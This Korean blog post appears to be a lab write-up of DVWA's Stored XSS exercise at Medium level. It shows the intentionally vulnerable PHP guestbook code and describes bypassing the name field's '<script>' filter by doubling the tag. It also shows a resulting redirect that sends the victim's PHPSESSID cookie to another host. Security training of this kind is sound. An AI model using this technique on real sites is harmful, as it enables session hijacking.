본문 바로가기
해킹/DVWA

DVWA 실습 12. XSS (Stored) (Medium)

by yenua 2022. 5. 29.
반응형
Objective
Redirect everyone to a web page of your choosing

내가 선택한 웹페이지로 리다이렉트 시켜보자.

 

소스코드를 보면

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

message 부분은 html 및 php 태그를 전부 제거하지만, name 부분은 이전과 마찬가지로 <script> 를 공백으로 바꾸는 것이 다이다.

 

실제로 메시지 부분에는 스크립트 코드가 작동하지 않지만,

이름 부분에는 Low에 사용한 스크립트를 가져와서 <script> 부분만 이중으로 입력을 해주니 잘 리다이렉트 되는 것을 확인할 수 있었다.

 

http://192.168.0.101/cookie?PHPSESSID=u0sstti8su6ihe8el26fv1n62k;%20security=medium 으로 리다이렉트 됨.

반응형